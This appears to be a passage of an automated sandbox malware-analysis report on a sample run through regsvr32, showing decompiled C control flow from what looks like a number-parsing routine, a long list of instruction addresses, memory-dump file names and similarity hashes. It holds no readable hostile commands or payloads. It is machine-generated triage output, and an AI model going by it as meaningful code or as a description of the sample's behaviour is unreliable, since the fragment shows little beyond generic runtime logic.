																			_t914 =  *_t882;
																			__eflags = _t914;
																			if(_t914 == 0) {
																				L484:
																				 *_t882 = 0;
																				_t430 = 1;
																			} else {
																				_t736 =  *((intOrPtr*)(_t914 + 0x38));
																				_t990 =  *_t736;
																				__eflags = _t990;
																				if(_t990 == 0) {
																					L481:
																					_t433 =  *((intOrPtr*)( *_t914 + 0x40))();
																				} else {
																					_t1044 =  *((intOrPtr*)(_t914 + 0x50));
																					_t575 =  *_t1044;
																					__eflags = _t575;
																					if(_t575 <= 0) {
																						goto L481;
																					} else {
																						_t575 = _t575 - 1;
																						 *_t1044 = _t575;
																						 *_t736 =  &(_t990[1]);
																						_t433 =  *_t990 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t433 & 0x0000ffff) - 0xffff;
																				if((_t433 & 0x0000ffff) == 0xffff) {
																					goto L484;
																				} else {
																					_t430 = 0;
																				}
																			}
																			 *(_t882 + 8) = _t430;
																			sil = 1;
																			continue;
																		}
																	}
																}
																_t1092 = _a32;
																_t1071 = _t1083;
																r9d = r15d;
																r10d = _t575;
																goto L515;
															}
														}
														goto L486;
													}
												}
											}
											__eflags = dil;
											_a32 = _t1092;
											_t575 = 0;
											if(dil != 0) {
												 *_t1083 = 0x30;
												_t1083 = _t1083 + 1;
												__eflags = _t1083;
											}
											r14d = 0;
											_t1088 =  &_v34;
											goto L486;
										}
									} else {
										__eflags = _t424 - _a20;
										if(_t424 == _a20) {
											goto L387;
										}
									}
								}
							} else {
								_t1071 = _a112;
								r9d = r15d;
							}
							goto L515;
						}
					}
					goto L332;
				}
				L530:
			}

0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418705
0x00418707
0x00418731
0x00418739
0x0041873b
0x00418748
0x0041874a
0x0041874a
0x0041874e
0x0041874e
0x00418756
0x0041875b
0x0041875e
0x00418761
0x00418763
0x0041876b
0x0041876f
0x00418783
0x0041878b
0x0041878f
0x00418792
0x00418795
0x004187a0
0x004187a3
0x004187a7
0x004187aa
0x004187b1
0x004187b6
0x004187b9
0x004187c0
0x004187c2
0x004187c5
0x004187cb
0x004187d3
0x004187d3
0x004187cb
0x004187e1
0x004187e8
0x004187eb
0x004187ef
0x004187f2
0x004187f9
0x004187fe
0x00418801
0x00418808
0x0041880a
0x0041880d
0x00418813
0x0041881b
0x0041881b
0x00418813
0x00418836
0x00418839
0x0041883c
0x00418841
0x00418846
0x0041884c
0x00418852
0x00418865
0x0041885d
0x0041885d
0x0041885d
0x0041886b
0x00418872
0x00418872
0x0041887a
0x00418880
0x00418886
0x0041888c
0x0041889f
0x00418897
0x00418897
0x00418897
0x004188a5
0x004188ac
0x004188ac
0x004188b2
0x004188b5
0x004188bf
0x004188c1
0x004188c7
0x004188fa
0x004188fa
0x004188c9
0x004188cd
0x004188d3
0x004188e6
0x004188de
0x004188de
0x004188de
0x004188e9
0x004188f2
0x00000000
0x004188f4
0x004188f4
0x004188f4
0x004188f2
0x00418901
0x00418901
0x00418905
0x0041890d
0x00418939
0x0041893d
0x00418940
0x00418942
0x00418946
0x00418949
0x0041894c
0x00000000
0x0041894e
0x0041894e
0x00418952
0x00418955
0x00418958
0x00418974
0x00418977
0x0041895a
0x0041895a
0x0041895e
0x00418960
0x00418962
0x00000000
0x00000000
0x00000000
0x00000000
0x00418962
0x00000000
0x00418958
0x00000000
0x0041894c
0x0041890f
0x0041890f
0x00418913
0x00418919
0x00418988
0x00418988
0x0041898f
0x0041891b
0x0041891b
0x0041891f
0x00418925
0x00418931
0x00418934
0x00418927
0x00418927
0x0041892b
0x0041892f
0x00418964
0x00418966
0x0041896c
0x0041896f
0x00000000
0x00000000
0x00000000
0x0041892f
0x0041897a
0x00418982
0x00000000
0x00418984
0x00418984
0x00418984
0x00418982
0x00418991
0x00418991
0x00418995
0x00418995
0x0041890d
0x00418998
0x0041899e
0x004189a1
0x004189a6
0x004189ab
0x004189b1
0x004189b7
0x004189ca
0x004189c2
0x004189c2
0x004189c2
0x004189d0
0x004189d7
0x004189d7
0x004189db
0x004189df
0x004189e5
0x004189eb
0x004189f1
0x00418a01
0x00418a04
0x004189fc
0x004189fc
0x004189fc
0x00418a0a
0x00418a11
0x00418a11
0x00418a17
0x00418bed
0x00418bed
0x00418a1d
0x00418a21
0x00418a23
0x00418a29
0x00418a5c
0x00418a5c
0x00418a2b
0x00418a2f
0x00418a35
0x00418a45
0x00418a48
0x00418a40
0x00418a40
0x00418a40
0x00418a4b
0x00418a54
0x00000000
0x00418a56
0x00418a56
0x00418a56
0x00418a54
0x00418a63
0x00418a63
0x00418a6f
0x00000000
0x00418a75
0x00418a75
0x00418a7b
0x00418ad9
0x00418ad9
0x00418ae0
0x00000000
0x00418a7d
0x00418a7d
0x00418a81
0x00418a87
0x00418aa3
0x00418aa6
0x00418a89
0x00418a89
0x00418a8d
0x00418a91
0x00000000
0x00418a93
0x00418a95
0x00418a9b
0x00418a9e
0x00418a9e
0x00418a91
0x00418ab1
0x00000000
0x00418ab3
0x00418ab3
0x00418ab6
0x00418abd
0x00418ae4
0x00418ae4
0x00418abf
0x00418ac3
0x00418ac9
0x00418aeb
0x00418ad4
0x00418ad4
0x00418ad4
0x00418af1
0x00418af8
0x00418af8
0x00418abd
0x00418ab1
0x00418afc
0x00418b00
0x00418b06
0x00418b38
0x00418b38
0x00418b08
0x00418b0c
0x00418b12
0x00418b22
0x00418b25
0x00418b1d
0x00418b1d
0x00418b1d
0x00418b28
0x00418b33
0x00418b33
0x00418b3a
0x00418b3f
0x00418b49
0x00418b4b
0x00418b51
0x00418b84
0x00418b84
0x00418b53
0x00418b57
0x00418b5d
0x00418b6d
0x00418b70
0x00418b68
0x00418b68
0x00418b68
0x00418b73
0x00418b7c
0x00000000
0x00418b7e
0x00418b7e
0x00418b7e
0x00418b7c
0x00418b8b
0x00418b8b
0x00418b8f
0x00418b97
0x00418b9f
0x00418ba5
0x00418be1
0x00418be1
0x00418be8
0x00418ba7
0x00418ba7
0x00418bab
0x00418bb1
0x00418bcd
0x00418bcd
0x00418bd0
0x00418bb3
0x00418bb3
0x00418bb7
0x00418bbb
0x00000000
0x00418bbd
0x00418bbf
0x00418bc5
0x00418bc8
0x00418bc8
0x00418bbb
0x00418bdb
0x00000000
0x00418bdd
0x00418bdd
0x00418bdd
0x00418bdb
0x00418bea
0x00000000
0x00418bea
0x00418b97
0x00418b3f
0x00418a6f
0x00418bef
0x00418bf6
0x00418c03
0x00418c08
0x00418c0c
0x00418c10
0x00418c3b
0x00418c3e
0x00418c41
0x00418c45
0x00418d01
0x00418d01
0x00418d04
0x00418d07
0x00418d0c
0x00000000
0x00000000
0x00418d12
0x00418d15
0x00418d18
0x00418d30
0x00418d33
0x00418d1a
0x00418d1e
0x00418d21
0x00000000
0x00418d23
0x00418d23
0x00418d23
0x00418d21
0x00418d39
0x00418d3b
0x00418d40
0x00418d40
0x00418d44
0x00418d48
0x00418d4b
0x00418d4e
0x00418dc0
0x00418dc2
0x00418dc4
0x00000000
0x00000000
0x00418dc6
0x00418d50
0x00418d54
0x00418d57
0x00418d5a
0x00418d70
0x00418d73
0x00418d5c
0x00418d60
0x00418d63
0x00000000
0x00418d65
0x00418d65
0x00418d65
0x00418d63
0x00418d7b
0x00418d81
0x00418d86
0x00418d8c
0x00418d8c
0x00418d90
0x00418d92
0x00418d95
0x00418d98
0x00418de0
0x00418de0
0x00418d9a
0x00418d9e
0x00418da1
0x00418da4
0x00418dc8
0x00418dcb
0x00418da6
0x00418daa
0x00418dad
0x00000000
0x00418daf
0x00418daf
0x00418daf
0x00418dad
0x00418dd1
0x00418dd7
0x00000000
0x00418dd9
0x00418dd9
0x00418dd9
0x00418dd7
0x00418de7
0x00418de7
0x00418deb
0x00418def
0x00418df2
0x00418e00
0x00418e00
0x00418e04
0x00418e08
0x00418e0b
0x00000000
0x00000000
0x00418e11
0x00418e14
0x00000000
0x00418e16
0x00000000
0x00418e16
0x00000000
0x00418e14
0x00418c57
0x00418c5a
0x00418c5e
0x00418c64
0x00418c68
0x00418c70
0x00418c73
0x00418c80
0x00418c8a
0x00418c8e
0x00418c93
0x00418c97
0x00418c97
0x00418c75
0x00418c75
0x00418c78
0x00000000
0x00418c7a
0x00418c7a
0x00418c7a
0x00418c78
0x00418c6a
0x00418c6a
0x00418c6a
0x00418c9a
0x00418c9d
0x00418ca0
0x00418cf0
0x00418cf0
0x00418cf7
0x00418ca2
0x00418ca2
0x00418ca6
0x00418ca9
0x00418cac
0x00418cd0
0x00418cd3
0x00418cae
0x00418cae
0x00418cb2
0x00418cb4
0x00418cb6
0x00000000
0x00418cb8
0x00418cba
0x00418cc0
0x00418cc3
0x00418cc3
0x00418cb6
0x00418cd9
0x00418cde
0x00000000
0x00418ce0
0x00418ce0
0x00418ce0
0x00418cde
0x00418cf9
0x00418cfe
0x00000000
0x00418cfe
0x00418c5e
0x00418d86
0x00418e1b
0x00418e22
0x00418e25
0x00418e28
0x00418e2c
0x00000000
0x00000000
0x00000000
0x00418e2c
0x00418c16
0x00418c16
0x00418c1e
0x00418c22
0x00418f08
0x00418f08
0x00418f0a
0x00418c28
0x00418c28
0x00418c2f
0x00418c32
0x00418c32
0x00418f0e
0x00418f12
0x00418f16
0x00418f1c
0x00418f23
0x00418f27
0x00418f2e
0x004190b9
0x004190b9
0x004190bc
0x004190c1
0x004190c6
0x004190cc
0x004190d2
0x004190f3
0x004190dd
0x004190dd
0x004190dd
0x004190f6
0x004190f9
0x00419100
0x00419100
0x00419104
0x00419108
0x0041910e
0x00419114
0x0041911a
0x00419130
0x00419133
0x00419125
0x00419125
0x00419125
0x00419136
0x00419139
0x00419140
0x00419140
0x00419146
0x00000000
0x00000000
0x00419150
0x00419152
0x00419158
0x00419190
0x00419190
0x0041915a
0x0041915e
0x00419164
0x00419174
0x00419177
0x0041916f
0x0041916f
0x0041916f
0x0041917a
0x00419183
0x00000000
0x00419185
0x00419185
0x00419185
0x00419183
0x00419197
0x00419197
0x0041919b
0x0041919f
0x004191a3
0x004191b0
0x004191b0
0x004191b4
0x004191bb
0x00000000
0x00000000
0x004191c4
0x00000000
0x00000000
0x004191c6
0x00000000
0x004191c4
0x00418f67
0x00418f6e
0x00418f90
0x00418f99
0x00418f9d
0x00418fa2
0x00000000
0x00418fa8
0x00418fa8
0x00418fad
0x00000000
0x00418fb3
0x00418fb3
0x00418fb7
0x00000000
0x00418fbd
0x00418fbd
0x00418fc1
0x00418fc5
0x00419ca5
0x00419caa
0x00419d1d
0x00419d20
0x00419d24
0x00419d28
0x00419d2a
0x00419d31
0x00419d37
0x00419d39
0x00419d39
0x00419d3d
0x00419d3d
0x00419d42
0x00419d46
0x00419d4a
0x00419d4c
0x00419d50
0x00419d53
0x00419d59
0x00419d5b
0x00419d5b
0x00419d5f
0x00419d5f
0x00419d67
0x00419d6c
0x00419d70
0x00419d73
0x00419d75
0x00419d75
0x00419d75
0x00419d80
0x00419d85
0x00418fcb
0x00418fcb
0x00418fce
0x00418fd8
0x00418fdd
0x00418fdf
0x00418fe5
0x00418fee
0x00418ff2
0x00418ff6
0x00418fff
0x00418fff
0x00419003
0x00419007
0x00419007
0x0041900c
0x00000000
0x0041900c
0x00418fc5
0x00418fb7
0x00418fad
0x00418f70
0x00418f74
0x00419020
0x00419023
0x0041902f
0x00419039
0x0041903d
0x00419042
0x00419046
0x00419046
0x00419025
0x00419025
0x00419028
0x00000000
0x0041902a
0x0041902a
0x0041902a
0x00419028
0x00418f7a
0x00418f7a
0x00418f7a
0x00419052
0x00419056
0x0041905c
0x00419062
0x00419064
0x00419066
0x00419066
0x0041906a
0x0041906a
0x00419070
0x00418f40
0x00418f40
0x00418f47
0x00418f49
0x00419076
0x00419076
0x0041907a
0x00419080
0x004190a0
0x004190a3
0x00419082
0x00419082
0x00419086
0x0041908a
0x00000000
0x0041908c
0x0041908e
0x00419090
0x00419094
0x00419097
0x00419097
0x0041908a
0x004190ae
0x00000000
0x004190b4
0x004190b4
0x004190b6
0x004190b6
0x004190ae
0x00000000
0x00419070
0x00000000
0x00418f6e
0x004191cb
0x004191ce
0x0041924d
0x0041924d
0x00000000
0x004191d4
0x004191d4
0x004191dd
0x004191e1
0x004191e5
0x004191e7
0x004191ea
0x004191ed
0x004191f0
0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 8935941e22969e29d4d1b80cd90bb0eccc7bbbd6db5bc917a81c9a96b9e0ba72
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: 8935941e22969e29d4d1b80cd90bb0eccc7bbbd6db5bc917a81c9a96b9e0ba72
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011924 Relevance: 1.7, Strings: 1, Instructions: 428COMMON

Download Yara Rule

Strings

#, xrefs: 0000000180011BB3

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #
